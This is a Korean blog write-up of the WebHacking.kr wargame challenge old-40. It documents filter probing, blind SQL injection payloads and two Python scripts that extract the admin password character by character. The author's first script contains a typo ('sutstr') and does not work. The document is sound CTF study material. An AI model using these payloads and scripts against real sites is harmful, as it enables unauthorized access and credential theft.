Search

WebHacking.kr Challenge old-40

목표 : Blackbox Blind SQL Injection
로그인 페이지가 나타나고 로그인을 누르면 GET으로 인자를 받은 채로 페이지가 넘어가고 2초 뒤에 메인페이지로 돌아온다.
<html> <head> <title>Challenge 40</title> <style> input{ width:150px; } td{padding:10;} </style> </head> <body bgcolor=gray> <br><br><b>Success - guest</b><meta http-equiv=refresh content=2;url=./>
HTML
복사
시도하다보면 몇몇 필터링을 찾을 수 있다.
or and / 공백은 필터링하지만 || %09 '는 필터링하지 않는다. 다만 addslashes 여부는 알수없다.
여러 값을 입력한 결과를 봤을 때 no는 int형태로 선언돼있고 id, pw는 싱글쿼터로 묶여있는 걸로 예측된다.
SELECT no, id, pw FROM chall40 WHERE no={no}, id='{id}', pw='{pw}'
SQL
복사
Where 문의 순서를 알기 위해 다음과 같이 세 번의 테스트를 실시했다
no = 1#, id = guest, pw = guest → Success - guest
no = 1#, id = random, pw = guest → Failure
no = 1#, id = guest, pw = random → Failure
즉 no 뒤의 주석은 id와 pw에 영향을 주지 못한다.
no를 기반으로 그냥 공격을 수행하면 된다.
SELECT no, id, pw FROM chall40 WHERE id='{id}', pw='{pw}', no={no}
SQL
복사
no
no = 1||1, id=guest, pw=random → Success - guest
no = 1||0, id=guest, pw=random → Failure
SELECT no, id, pw FROM chall40 WHERE id='guest', pw='random', no=1 || 1
SQL
복사
뒤에 1로 모든 id, pw를 불러오게 되는 구성으로 1행이 guest인걸로 보아 2행을 불러오려고 LIMIT을 사용했으나 필터링됐다.
no=1%7c%7c1%09LIMIT%092,1
그냥 admin id를 직접적으로 넣었지만 addslashes 함수가 내장돼있는지 failure가 떠서 다음과 같이 바꿨다.
Response 값이 바뀌었다.
no=1||id=’admin’
no=1||id=0x61646D696E
이제 이 admin password를 구하면 될 듯 하다 auth 우회가 가능하나 이것저것 시도해봤지만 잘 안됐고, 이미 no이라는 좋은 Input이 있으니 blind sql를 시행하기로 했다.
패스워드 길이는 파이썬을 돌릴 것도 없이 크기 비교로 쉽게 얻어냈다. (Pw.length = 10)
1 || id=’admin’ && length(pw) < 11 #
1%7c%7cid%3d0x61646D696E%26%26length(pw)<11%09
다음 쿼리문이 필터링에 걸렸다.
1%7c%7cid%3d0x61646D696E%26%26ord(substr(pw,0,1))<133
1%7c%7cid%3d0x61646D696E%26%26ord(right(left(pw,0),1)))<133
좀 더 간소화시키다보니 ord 함수가 필터링에 걸렸다. 오히려 substr은 가능했다.
다음은 자동화를 위한 코드다. 근데 동작하지 않는다…(?)
import requests URL = 'https://webhacking.kr/challenge/web-29/?no=1%7c%7cid%3d0x61646D696E%26%26' URL2 = '&id=guest&pw=random' TRUE_PHRASE = 'admin' c = {"cookie":"PHPSESSID=your session id"} def query(payload): r = requests.get(URL + payload + URL2,cookies=c, timeout=100) print(URL + payload + URL2) content = r.text #print(content) return TRUE_PHRASE in content def find_pw_length(): pw_len = 1 while query("length(pw)={}%09".format(pw_len)) is False: pw_len += 1 print('pw_len: {}'.format(pw_len)) return pw_len def find_pw(): #pw_len = find_pw_length() pw_len = 10 result_pw = '' chk = 0 for pos in range(1, pw_len + 1): #for character in string.printable: for c in range(33,133): if query("sutstr(pw,{},1)={}".format(pos, hex(c))) is True: result_pw += chr(c) print(result_pw) break print("cycle {}".format(pos)) print('pw: {}'.format(result_pw))
Python
복사
다음 한 줄을 통해 실행시키면 문제없이 실행되지만 for문을 통해 실행시키면 정상적으로 작동되지 않는다. 이유를 알고 싶어도 아무리 해도 안나오더라.
혹시 이유를 아시고 시간을 조금만 내실 수 있으시다면 superphil722@gmail.com 으로 메일 주시면 정말 감사드리겠다.
print(query("substr(pw,1,1)=0x4c"))
Python
복사
결국 일단 다른 분의 코드를 사용했다.
import requests from tqdm import tqdm url = "https://webhacking.kr/challenge/web-29/" TRUE_FLAG = "Success" FALSE_FLAG = "Failure" # 1. pw 길이 for i in range(20): params = "?id=guest&pw=guest&no=3||(length(pw)={})".format(i) response = requests.get(url + params) if(FALSE_FLAG not in response.text): print("password length: ", i) # admin 계정의 pw 길이는 10 # 2. pw for i in range(1,11): password = '' for j in range(127,20,-1): params = "?id=guest&pw=guest&no=3||(conv(hex(substr(pw,{0},1)),16,10)={1})".format(i,j) response = requests.get(url+params) if(FALSE_FLAG not in response.text): password += chr(j) if(i>5): break print(i," : ",password)
Python
복사
admin의 비밀번호를 구했고 이를 입력하면 풀 수 있게 된다.

✓ 다른 [워게임] 포스트

WebHacking.kr Challenge Write-Up (70/80)
In progress
WebHacking.kr Challenge Write-Up (70/80)
In progress
Load more
︎ 더 많은 게시물을 보려면
︎ 작성자가 궁금하면?
 2023. absolroot all rights reserved.